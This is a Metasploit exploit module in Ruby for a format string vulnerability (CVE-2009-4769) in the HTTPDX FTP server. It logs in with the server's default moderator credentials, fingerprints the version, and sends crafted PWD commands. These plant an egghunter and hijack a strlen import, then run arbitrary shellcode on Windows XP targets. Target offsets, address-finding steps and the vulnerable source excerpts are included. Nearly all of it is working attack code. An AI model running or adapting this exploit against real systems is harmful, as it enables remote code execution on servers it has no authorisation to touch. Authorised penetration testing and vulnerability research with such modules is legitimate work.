## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Egghunter include Msf::Exploit::FormatString def initialize(info = {}) super(update_info(info, 'Name' => 'HTTPDX tolog() Function Format String Vulnerability', 'Description' => %q{ This module exploits a format string vulnerability in HTTPDX FTP server. By sending an specially crafted FTP command containing format specifiers, an attacker can corrupt memory and execute arbitrary code. By default logging is off for HTTP, but enabled for the 'moderator' user via FTP. }, 'Author' => [ 'jduck' # original discovery and metasploit module ], 'References' => [ [ 'CVE', '2009-4769' ], [ 'OSVDB', '60181' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Privileged' => true, 'Payload' => { # format string max length 'Space' => 1024, 'BadChars' => "\x00\x0a\x0d\x25", 'DisableNops' => 'True', 'StackAdjustment' => -1500 }, 'Platform' => 'win', 'Targets' => [ # # Automatic targeting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true } ], # # specific targets # [ 'httpdx 1.4 - Windows XP SP3 English', { 'NumPops' => 37, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], [ 'httpdx 1.4.5 - Windows XP SP3 English', { 'NumPops' => 37, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], [ 'httpdx 1.4.6 - Windows XP SP3 English', { 'NumPops' => 37, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], [ 'httpdx 1.4.6b - Windows XP SP3 English', { 'NumPops' => 37, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], [ 'httpdx 1.5 - Windows XP SP3 English', { 'NumPops' => 29, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 17 2009')) =begin NOTE: Even though all targets have the same addresses now, future targets may not. To find a target: 1. open "core.dll" in IDA Pro 2. navigate to the "c_wildcmp" function 3. follow the xref to the first strlen 4. follow the xref to the imports area 5. copy/paste the address 6. the 'Writable' value should be anything after the last address IDA shows.. (preferably something above 0x0d, to avoid bad chars) If crashes occur referencing strange values, 'NumPops' probably needs adjusting. For now, that will have to be done manually. =end register_options( [ Opt::RPORT(21), # note the default user/pass OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']), OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123']) ], self.class ) end def check connect disconnect vprint_status("FTP Banner: #{banner}".strip) if banner =~ /httpdx.*\(Win32\)/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit # Use a copy of the target mytarget = target if (target['auto']) mytarget = nil print_status("Automatically detecting the target...") connect disconnect if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then print_status("FTP Banner: #{banner.strip}") version = m[1] else print_status("No matching target") return end self.targets.each do |t| if (t.name =~ /#{version} - /) then mytarget = t break end end if (not mytarget) print_status("No matching target") return end print_status("Selected Target: #{mytarget.name}") else print_status("Trying target #{mytarget.name}...") end # proceed with chosen target... c = connect_login return if not c # '\n PWD ' ip_length = Rex::Socket.source_address(datastore['RHOST']).length num_start = ip_length + 1 + 3 + 1 # use the egghunter! eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true }) # write shellcode to 'writable' (all at once) fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget) print_status(" payload format string buffer is #{fmtbuf.length} bytes") if (res = send_cmd(['PWD', fmtbuf ], true)) print_status(res.strip) end # write 'writable' addr to flowhook (execute shellcode) # NOTE: the resulting two writes must be done at the same time fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget) # add payload to the end fmtbuf << eh_egg print_status(" hijacker format string buffer is #{fmtbuf.length} bytes") if (res = send_cmd(['PWD', fmtbuf ], true)) print_status(res.strip) end disconnect handler # connect again to trigger shellcode print_status(" triggering shellcode now") print_status("Please be patient, the egg hunter may take a while...") connect end end =begin also present in 1.5 (presumably all versions in between) 1.4/httpdx_src/ftp.cpp: 544 //printf(out); 545 char af[MAX] = {0}; 546 if(isset(out) && client->serve.log || client->serve.debug) 547 snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out); 548 if(isset(out) && client->serve.log) 549 tolog(client->serve.accessl,af); 550 if(isset(out) && client->serve.debug) 551 printf(af); 1.4/httpdx_src/http.cpp: 172 char af[MAX] = {0}; 173 if(client.serve.log || client.serve.debug) 174 snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code); 175 if(client.serve.log) 176 tolog(client.serve.accessl,af); 177 if(client.serve.debug) 178 printf(af); =end